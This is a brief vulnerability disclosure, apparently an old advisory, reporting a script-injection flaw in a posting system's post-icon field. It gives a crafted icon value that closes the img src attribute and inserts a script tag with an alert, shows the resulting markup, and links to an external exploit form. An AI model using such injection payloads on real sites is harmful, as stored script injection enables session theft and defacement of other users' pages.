Any user can inject html code when create a new post.

The bug are in the post icon:

<img src="icon.gif" etc.>

If you create a personalized form with this code:

icon.gif"><script>alert('bug');<script><any

tag="

the final code of the post icon is:

<img

src="icon.gif"><script>alert('bug');<script><any

tag="" etc.>



The exploit form is here:

http://members.fortunecity.it/lethalman2002/bugs/splatt.html



by Lethal Lab (Lethalman)